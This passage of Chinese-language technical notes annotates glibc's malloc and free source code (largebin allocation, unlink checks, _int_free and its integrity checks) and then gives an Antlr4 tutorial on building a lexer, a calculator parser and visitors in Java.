victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long)(size) < (unsigned long)(bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long)size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long)size == (unsigned long)fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//结算,前面不管是largebin还是smallbin,都已经计算好了前后邻居bck,fwd,在此将诸位连接
mark_bin(av, victim_index);//标记binmap
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)//顶多合并10000次,太多次合并会导致本次请求响应太慢
break;
}
largebin申请

如果到此还没有返回,也就是还没有申请到堆块下面再尝试使用largebin申请

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
 if (!in_smallbin_range(nb))//如果是一个largebin的请求
{
bin = bin_at(av, idx);//取桶子头

/* skip scan if empty or largest chunk is too small */
if ((victim = first(bin)) != bin &&
(unsigned long)(victim->size) >= (unsigned long)(nb))
{//first(bin)=bin->fd,可以看出bin->fd应该是该桶子中最大的一个堆块,然后顺着fd指针越来越小
//如果最大的堆块都不满足nb的需求,显然再往后找更小的无意义,因此首先需要判断最大的堆块是否能满足要求,
//当这个前提条件满足时,再向后找最佳适配的堆块
victim = victim->bk_nextsize;//bk_nextsize是下一个比当前victim小的堆块,victim->bk可能和victim一样大,但是victim->bk_nextsize要么是桶子头,要么一定比当前堆块小
while (((unsigned long)(size = chunksize(victim)) <
(unsigned long)(nb)))
victim = victim->bk_nextsize;//从小开始遍历直到第一个大于等于nb大小的堆块

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last(bin) && victim->size == victim->fd->size)
victim = victim->fd;//避免移除跳表的最开始一个导致变更指针,首先尝试寻找该大小的堆块是否有第二块,如果有则放过跳表头

remainder_size = size - nb;//victim块比较抠,只分配nb大小左右,多余的不给
unlink(av, victim, bck, fwd);

/* Exhaust */
if (remainder_size < MINSIZE)//如果发现victim分割后的剩余部分都是下脚料就不抠了
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else//否则victim剩余部分放到unsortedbin
{
remainder = chunk_at_offset(victim, nb);//取victim切割nb字节之后的剩余部分
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;//头插法
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;//如果剩余大小还是largebin大小,则此时预先将指针清零
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
后续largebin申请

如果到此还没有分配,说明当前largebin里面没有找到何时的,那么向后面的largebin桶子中找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/*
Search for a chunk by scanning bins, starting with next largest
bin. This search is strictly by best-fit; i.e., the smallest
(with ties going to approximately the least recently used) chunk
that fits is selected.

The bitmap avoids needing to check that most blocks are nonempty.
The particular case of skipping all bins during warm-up phases
when no chunks have been returned yet is faster than it might look.
*/

++idx; //取下一个桶子的下标
bin = bin_at(av, idx); //首先查binmap,看看下一个桶子是否确实有空闲堆块
block = idx2block(idx);
map = av->binmap[block];
bit = idx2bit(idx);

for (;;)
{
/* Skip rest of block if there are no more set bits in this block. */
if (bit > map || bit == 0)//如果bit>map只可能是map=0,也就是当前block是空的
{
do
{
if (++block >= BINMAPSIZE) /* out of bins */
goto use_top;//如果发现block遍历了4个block,全是空的,也就是largebin空了,直接使用top_chunk分配
} while ((map = av->binmap[block]) == 0);//跳过所有空的largebin

bin = bin_at(av, (block << BINMAPSHIFT));
bit = 1;
}

/* Advance to bin with set bit. There must be one. */
while ((bit & map) == 0)//尝试找一个map对应block中有堆块的桶子
{
bin = next_bin(bin);
bit <<= 1;//左移也就是往largebin更大的方向找
assert(bit != 0);
}//退出循环时,bin对应的桶子中一定有堆块

/* Inspect the bin. It is likely to be non-empty */
victim = last(bin);

/* If a false alarm (empty bin), clear the bit. */
if (victim == bin)//检查是否该bin中至少有一个堆块,这是因为map是懒修改的
{//也就是说,map中标记有的不一定有,但是map中标记没有的一定没有
av->binmap[block] = map &= ~bit; /* Write through */
//本桶子中确实没有,但也不是没有功劳,起码可以修改map,下一次查找一定不会查本桶子
bin = next_bin(bin);
bit <<= 1;//继续向更大的largebin桶子寻找
}

else//本桶子中确实有至少一个堆块
{
size = chunksize(victim);

/* We know the first chunk in this bin is big enough to use. */
assert((unsigned long)(size) >= (unsigned long)(nb));

remainder_size = size - nb;

/* unlink */
unlink(av, victim, bck, fwd);

/* Exhaust */
if (remainder_size < MINSIZE)//下脚料一起送人
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}

/* Split */
else //切割指定大小的堆块,剩下的送给unsortedbin
{
remainder = chunk_at_offset(victim, nb);

/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks 2";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;

/* advertise as last remainder */
if (in_smallbin_range(nb))
av->last_remainder = remainder;
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
unlink

从双向链表上摘下一个堆块P,把它的前后驱重新链接起来

针对smallbinunsortedbin,有如下检查

1
2
P->bk->fd==P
P->fd->bk==P

如果是一个largebin的堆块,还会有

1
2
P->fd_nextsize->bk_nextsize==P
P->bk_nextsize->fd_nextsize==P

对于smallbinunsortedbin,如果检查通过,则执行

1
2
FD->bk = BK;                                                                                                          \
BK->fd = FD;

将P的前后驱连接起来

对于largebin的堆块,还会执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (FD->fd_nextsize == NULL)                                                                                        \
{ \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else \
{ \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize
= P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} \
else \
{ \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
}

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) \
{ \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) \
//检查后继的前驱指针以及前驱的后继指针
malloc_printerr(check_action, "corrupted double-linked list", P, AV); \
else \
{ \
FD->bk = BK; \
//将前后驱堆块连接,解放P
BK->fd = FD; \
if (!in_smallbin_range(P->size) && __builtin_expect(P->fd_nextsize != NULL, 0)) \
{ \
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr(check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) \
{ \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else \
{ \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize
= P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} \
else \
{ \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

topchunk申请

如果还不行,尝试使用topchunk分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).

We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/

victim = av->top;
size = chunksize(victim);

if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (have_fastchunks(av))
{
malloc_consolidate(av);
/* restore original bin index */
if (in_smallbin_range(nb))
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}
sysmalloc申请

如果还不行,尝试sysmalloc

1
2
3
4
5
6
7
8
9
10
/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc(nb, av);
if (p != NULL)
alloc_perturb(p, bytes);
return p;
}

free

1
strong_alias(__libc_free, __free) strong_alias(__libc_free, free)

__libc_free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __libc_free(void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);//首先尝试调用hook函数(如果有注册的话)
if (__builtin_expect(hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS(0));
return;
}

if (mem == 0) /* free(0) has no effect */
return;

p = mem2chunk(mem);//p指向堆块基址,mem指向数据区,也就是p+0x10

if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
/* see if the dynamic brk/mmap threshold needs adjusting */
if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize(p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk(p);//如果p堆块是mmap分配的则调用munmap释放
return;
}

ar_ptr = arena_for_chunk(p);
_int_free(ar_ptr, p, 0);//调用glibc实现的_int_free,这也是默认释放过程
}
__free_hook
1
void weak_variable (*__free_hook)(void *__ptr,const void *) = NULL;

__malloc_hook同理,如果本钩子函数有注册过则调用之进行释放,不会再调用glibc自己实现的_int_free

_int_free

实际上调用的释放函数

算法流程

free

整个流程要比分配_int_malloc简单点

局部变量

1
2
3
4
5
6
7
8
9
10
11
12
13
INTERNAL_SIZE_T size;     /* its size */		//用于保存请求堆块的整体大小(包括元数据)
mfastbinptr *fb; /* associated fastbin */ //fastbin桶子
mchunkptr nextchunk; /* next contiguous chunk */ //下一个堆块
INTERNAL_SIZE_T nextsize; /* its size */ //下一个堆块的大小
int nextinuse; /* true if nextchunk is used */ //下一个堆块是否在使用,合并堆块时用
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ //前块大小
mchunkptr bck; /* misc temp for linking */ //头插法前后邻居
mchunkptr fwd; /* misc temp for linking */

const char *errstr = NULL;
int locked = 0;

size = chunksize(p); //size当前要申请的堆块的大小(包括元数据)

释放前检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect((uintptr_t)p > (uintptr_t)-size, 0) || __builtin_expect(misaligned_chunk(p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void)mutex_unlock(&av->mutex);
malloc_printerr(check_action, errstr, chunk2mem(p), av);
return;
}
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size)))
{
errstr = "free(): invalid size";
goto errout;
}

check_inuse_chunk(av, p)

检查锁和对齐,整个释放过程可以看成一个事务,由锁保证一致性

fastbin区释放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast())//如果释放堆块大小落在fastbin范围内

#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)//检查后面是否和topchunk相邻,(如果相邻需要合并,不会进入fastbin)
#endif
)
{

if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0))
{//首先检查堆块大小是否比最小大小要大,并且是不是可以分配的范围内
/* We might not have a lock at this point and concurrent modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock || ({c
assert(locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset(p, size)->size <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (!have_lock)
{
(void)mutex_unlock(&av->mutex);
locked = 0;
}
}
//已获得锁
free_perturb(chunk2mem(p), size - 2 * SIZE_SZ);//堆块的mem数据区清零

set_fastchunks(av);
unsigned int idx = fastbin_index(size);//计算fastbin桶子下标
fb = &fastbin(av, idx);//获取fastbin桶子头

/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;//old指向fastbin对应桶子的第一个堆块
unsigned int old_idx = ~0u;
do
{
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect(old == p, 0))//检查p是否已经被刚刚释放过一次
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
deallocated. See use of OLD_IDX below for the actual check. */
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;//把p挂到fastbin上(头插法),fastbin[idx]->p->old->...
} while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2)) != old2);

if (have_lock && old != NULL && __builtin_expect(old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}

堆块合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
  else if (!chunk_is_mmapped(p))//p不能是mmap映射的
{
if (!have_lock)
{
(void)mutex_lock(&av->mutex);
locked = 1;
}

nextchunk = chunk_at_offset(p, size);//取物理上下一个相邻的堆块基地址

/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely(p == av->top))//p不能是topchunk
{
errstr = "double free or corruption (top)";
goto errout;
}
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect(contiguous(av) && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0))
{//如果下一个堆块溢出到topchunk内部了
errstr = "double free or corruption (out)";
goto errout;
}
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely(!prev_inuse(nextchunk)))
{//如果物理上的后块没有记录本块的释放状态
errstr = "double free or corruption (!prev)";
goto errout;
}

nextsize = chunksize(nextchunk);//下一个堆块的大小
if (__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0) || __builtin_expect(nextsize >= av->system_mem, 0))
{//下一堆块的大小必须在合法范围(2*SIZE_SZ,av->system_mem)之内
errstr = "free(): invalid next size (normal)";
goto errout;
}

free_perturb(chunk2mem(p), size - 2 * SIZE_SZ);//p数据区清零

/* consolidate backward */
if (!prev_inuse(p))//向前合并
{
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top)//如果后块时topchunk则合并到topchunk,否则尝试向后合并
{
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse)//如果后一堆块空闲则向后合并
{
unlink(av, nextchunk, bck, fwd);
size += nextsize;
}
else
clear_inuse_bit_at_offset(nextchunk, 0);

/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/

bck = unsorted_chunks(av);//释放的堆块放到unsortedbin中,下一次malloc才可能重新安排新去处
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))//如果是largebin的堆块则现在就把fd_nextsize和bk_nextsize清零
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;

set_head(p, size | PREV_INUSE);
set_foot(p, size);

check_free_chunk(av, p);
}

/*
If the chunk borders the current high end of memory,
consolidate into top
*/

else//此else意味着向后与topchunk相邻,则合并到topchunk
{
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}

/*
If freeing a large space, consolidate possibly-surrounding
chunks. Then, if the total unused topmost memory exceeds trim
threshold, ask malloc_trim to reduce top.

Unless max_fast is 0, we don't know if there are fastbins
bordering top, so we cannot tell for sure whether threshold
has been reached unless fastbins are consolidated. But we
don't want to consolidate on each free. As a compromise,
consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
is reached.
*/

if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)
{//如果size大于fastbin合并阈值65536
if (have_fastchunks(av))
malloc_consolidate(av);//清空fastbin,该合并合并,放到unsortedbin或者topchunk

if (av == &main_arena)//如果是主分配区
{
#ifndef MORECORE_CANNOT_TRIM
if ((unsigned long)(chunksize(av->top)) >=
(unsigned long)(mp_.trim_threshold))//如果topchunk太大了就得修剪一下
systrim(mp_.top_pad, av);
#endif
}
else//否则就是非主分配区的辅助堆
{
/* Always try heap_trim(), even if the top chunk is not
large, because the corresponding heap might go away. */
heap_info *heap = heap_for_ptr(top(av));

assert(heap->ar_ptr == av);
heap_trim(heap, mp_.top_pad);
}
}

if (!have_lock)
{
assert(locked);//保证事务完整性
(void)mutex_unlock(&av->mutex);
}
}

mmap映射区释放

1
2
3
4
else
{
munmap_chunk(p);
}

Antlr4

项目地址DeutschBall/Interpreter-Antlr: Antlr实现的函数绘图语言解释器 (github.com)

环境配置

1
antlr Hello.g4

这种生成命令,实际上这里的antlr执行的命令是

1
java org.antlr.v4.Tool ./Hello.g4

也就是说,org.antlr.v4.Tool应该是在CLASSPATH中的

在windows中需要在变量CLASSPATH中加上jar包的地址

image-20230524151158485

任何一个Antlr源文件,比如Hello.g4,如果语法没有错误,执行antlr4 Hello.g4之后,都会生成六个文件

文件 作用
HelloParser.java 不想写
HelloLexer.java
Hello.tokens
HelloLexer.tokens
HelloListener.java
HelloBaseListener.java

词法分析器

词法分析器实现,继承自org.antlr.v4.runtime.Lexer

这个类干了啥呢?

首先,*Lexer.java文件中是没有main函数的,这就意味着,这个类只能作为其他类的组成,或者被其他函数调用

从名字上看,这个类应该得有一个DFA,不管是表驱动的还是有向图驱动的还是硬编码的,得有一个输入,然后从输入中获取符号流,然后在DFA上进行状态转移,每次调用它,都应返回一个识别出的记号token

举个例子,统计单词数量

antlr语法规则文件这样写:

Counter.g4

1
2
3
4
lexer grammar Counter;

WORD: [a-zA-Z0-9]+;
SPACE: [ \t\n\r]->skip;

然后执行命令antlr4 ./Counter.g4

由于g4文件中只定义了词法规则 lexer grammer,因此只会生成词法分析器相关的文件

文件 作用
Counter.interp
Counter.java 词法分析器类
Counter.tokens 定义符号与到整数的映射

生成一堆文件,其中就包括Counter.java,也就是词法分析器文件

这里面就一个Counter类,它干了啥呢?

最主要的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final String _serializedATN =
"\3\u608b\ua72a\u8133\ub9ed\u417c\u3be7\u7786\u5964\2\4\20\b\1\4\2\t\2"+
"\4\3\t\3\3\2\6\2\t\n\2\r\2\16\2\n\3\3\3\3\3\3\3\3\2\2\4\3\3\5\4\3\2\4"+
"\5\2\62;C\\c|\5\2\13\f\17\17\"\"\2\20\2\3\3\2\2\2\2\5\3\2\2\2\3\b\3\2"+
"\2\2\5\f\3\2\2\2\7\t\t\2\2\2\b\7\3\2\2\2\t\n\3\2\2\2\n\b\3\2\2\2\n\13"+
"\3\2\2\2\13\4\3\2\2\2\f\r\t\3\2\2\r\16\3\2\2\2\16\17\b\3\2\2\17\6\3\2"+
"\2\2\4\2\n\3\b\2\2";
public static final ATN _ATN =
new ATNDeserializer().deserialize(_serializedATN.toCharArray());
static {
_decisionToDFA = new DFA[_ATN.getNumberOfDecisions()];
for (int i = 0; i < _ATN.getNumberOfDecisions(); i++) {
_decisionToDFA[i] = new DFA(_ATN.getDecisionState(i), i);
}
}

其中有一个硬编码的static字符串,其中存放了序列化的ATN,ATN是啥?状态转移网络

这里_ATN这个static成员在本类的加载时,就会反序列化_serializedATN,建立ATN网络,

然后static静态代码块中,以ATN网络为基础建立了DFA

至于这个序列化ATN字符串什么含义,我不想研究,相当于硬编码的DFA

本类中害保存了符号名称,比如WORD,SPACE

本类从org.antlr.v4.runtime.Lexer基类中继承了nextToken等函数,nextToken函数每次被调用会识别一个符号

如何使用该类呢?

可以写一个测试类TestLexer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import org.antlr.v4.runtime.*;
import org.antlr.v4.runtime.CharStreams;
import org.antlr.v4.runtime.Token;

public class TestLexer {
public static void main(String[] args) {

int cnt_words=0;
CharStream input = CharStreams.fromString("public static void main");
Counter lexer=new Counter(input);
Token token;
while((token=lexer.nextToken()).getType()!=Token.EOF){
String tokenName=Counter.VOCABULARY.getSymbolicName(token.getType());
String tokenText=token.getText();
System.out.printf("%s: %s%n",tokenName,tokenText);
if(tokenName=="WORD"){
++cnt_words;
}
}
System.out.println("total words="+cnt_words);
}
}

从字符串"public static void main"创建一个字符输入流,然后将这个流作为Counter lexer的输入

此后每次调用lexer.nextToken(),lexer都会尝试从该字符输入流中获取一个符号,符号的类型是org.antlr.v4.runtime.Token

语法分析器

以计算器为例

Calculator.g4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
grammar Calculator;
// import LexerRule;

// 语法定义
prog: stat+;

stat: expr NEWLINE
|ID '=' expr NEWLINE
|NEWLINE
;

expr: expr ('*'|'/') expr
|expr ('+'|'-') expr
|INT
|ID
|'(' expr ')'
;


ID: [a-zA-Z]+;
INT:[0-9]+;
WS:[ \t\n]+ ->skip;//多余的空格回车忽略
NEWLINE: '\r'? '\n';//\r\n是win上的换行符,\r是linux上的换行

执行命令antlr4 ./Calculator.g4之后,会在本目录下生成

文件 作用
CalculatorLexer.java 词法分析器类
CalculatorParser.java 语法分析器类
CalculatorListener.java 监听器接口
Calculator.BaseListener.java 监听器基类
...

写一个测试类Test,测试语法分析器的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import org.antlr.runtime.ANTLRInputStream;
import org.antlr.v4.runtime.*;
import org.antlr.v4.runtime.CharStreams;
import org.antlr.v4.runtime.Token;
import java.io.FileInputStream;
import java.io.InputStream;
import org.antlr.v4.runtime.tree.*;
import org.antlr.v4.tool.ANTLRToolListener;
public class Test {
public static void main(String[] args) {
String inputFile=null;
if(args.length>0){
inputFile=args[0];
}
CharStream input=null;
InputStream is=System.in;
try{
if(inputFile!=null){
is=new FileInputStream(inputFile);
}
input=CharStreams.fromStream(is);
}catch(Exception e){
e.printStackTrace();
}

// ANTLRInputStream input=new ANTLRInputStream(is);
CalculatorLexer lexer=new CalculatorLexer(input);
CommonTokenStream tokens=new CommonTokenStream(lexer);
CalculatorParser parser=new CalculatorParser(tokens);
ParseTree tree=parser.prog();

System.out.println(tree.toStringTree(parser));


}
}

1
2
3
4
5
6
javac Calculator*.java Test.java
java Test "in.dat"
line 6:14 missing ')' at '\r\n'
(prog (stat (expr 101) \r\n) (stat a = (expr 5) \r\n) (stat b
= (expr 3) \r\n) (stat (expr (expr a) + (expr (expr b) * (expr 2))) \r\n) (stat (expr (expr ( (expr (expr 1) + (expr a)) ))
/ (expr 2)) \r\n) (stat (expr (expr ( (expr (expr 5) + (expr 6)) )) * (expr ( (expr (expr 4) + (expr ( (expr (expr 7) - (expr 8)) ))) <missing ')'>)) \r\n))

也可以不写测试类,直接使用grun测试

1
2
3
4
5
PS C:\Users\Administrator\Desktop\antlr> grun Calculator prog 
-gui in.dat

C:\Users\Administrator\Desktop\antlr>java org.antlr.v4.gui.TestRig Calculator prog -gui in.dat
line 6:14 missing ')' at '\r\n'
image-20230526154940220

antlr会自动检测语法错误,并且会自动从错误中恢复,继续进行语法分析

访问器

前面的语法分析器中,我们并没有定义语义规则,语法树是antlr自动帮我们生成的,现在需要定义语义动作,实现计算器功能

antlr不推荐在g4规则文件中定义语义动作,而是在本文件中定义标签,然后在Visitor类中实现标签相关的函数

定义语义规则标签

比如Calculator.g4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
grammar Calculator;
// import LexerRule;

// 语法定义
prog: stat+;

stat: expr NEWLINE #printExpr
|ID '=' expr NEWLINE #assign
|NEWLINE #blank
;

expr: expr ('*'|'/') expr #MulDiv
|expr ('+'|'-') expr #AddSub
|INT #int
|ID #id
|'(' expr ')' #parens
;


MUL: '*';
DIV: '/';
ADD: '+';
SUB: '-';


ID: [a-zA-Z]+;
INT:[0-9]+;
WS:[ \t\n]+ ->skip;//多余的空格回车忽略
NEWLINE: '\r'? '\n';//\r\n是win上的换行符,\r是linux上的换行

这里的#printExpr,#assign等就是标签

然后使用下述命令生成

生成访问器基类

1
antlr4 -visitor Calculator.g4

额外生成了两个文件

文件 作用
CalculatorVisitor.java 访问器接口
CalculatorBaseVisitor.java 访问器基类

这个访问器接口定义了一些函数

1
2
3
4
5
6
7
8
9
10
11
// Generated from Calculator.g4 by ANTLR 4.7.2
import org.antlr.v4.runtime.tree.ParseTreeVisitor;

public interface CalculatorVisitor<T> extends ParseTreeVisitor<T> {

T visitProg(CalculatorParser.ProgContext ctx);

T visitPrintExpr(CalculatorParser.PrintExprContext ctx);

...
}

每个Calculator.g4中的标签都会对应一个接口函数,比如#printExpr对应到visitPrintExpr

即使是没有写标签的文法,也会对应一个接口函数,比如prog对应到visitProg

既然这样,为啥还要定义标签?使用默认的文法名

1
2
3
4
5
6
prog: stat+;

stat: expr NEWLINE #printExpr
|ID '=' expr NEWLINE #assign
